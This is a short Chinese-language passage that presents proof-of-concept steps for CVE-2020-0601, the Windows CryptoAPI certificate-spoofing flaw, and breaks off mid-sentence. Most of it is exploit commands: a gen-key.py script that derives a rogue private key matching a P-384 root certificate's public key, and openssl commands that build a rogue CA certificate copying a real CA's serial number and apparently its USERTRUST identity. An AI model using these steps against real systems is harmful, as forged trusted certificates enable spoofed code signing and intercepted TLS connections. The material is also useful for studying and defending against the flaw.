chainoffools:CVE 2020 0601的PoC 源码

加密API CVE-2020-0601:Windows CryptoAPI欺骗漏洞利用。 有关更多信息,请参见我们的。 CA证书 我们使用了但它可以是在P-384曲线上工作的任何根证书。 为了生成与根证书中的公钥匹配的私钥,我们使用了脚本gen-key.py (适用于Python 3.6及更高版本): $ gen-key.py RootCert.pem 该键可以显示为: $ openssl ec -in p384-key-rogue.pem -text 然后生成流氓CA: $ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26 使用“ C =美国,ST =新泽西,L =泽西市,O = USERTRUST网